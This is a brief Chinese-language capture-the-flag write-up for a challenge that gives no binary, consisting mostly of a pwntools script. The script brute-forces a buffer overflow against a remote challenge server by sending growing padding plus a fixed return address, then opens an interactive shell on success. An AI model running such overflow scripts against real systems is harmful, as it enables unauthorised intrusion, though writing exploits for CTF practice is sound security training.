题目并没有提供二进制文件进行分析，采用暴力破解方式
from pwn import * import threading
#context(os='linux', arch='i386', log_level='debug')
def find():
print("thread %s is running..."%threading.current_thread().name)
n=0x0
while n<0x400:
n=n+1
print("thread %s>>>%s"%(threading.current_thread().name,n))
sh=remote("220.249.52.134",53525)
payload=p8(0x11)*n+p64(0x4006b0)
sh.sendlineafter(">",payload)
try:
sh.recvline()
print("repeat time is %x"%n)
sh.interactive()
break
except EOFError:
continue
if __name__ =='__main__':
t1=threading.Thread(target=find)
t1.start()
t1.join()
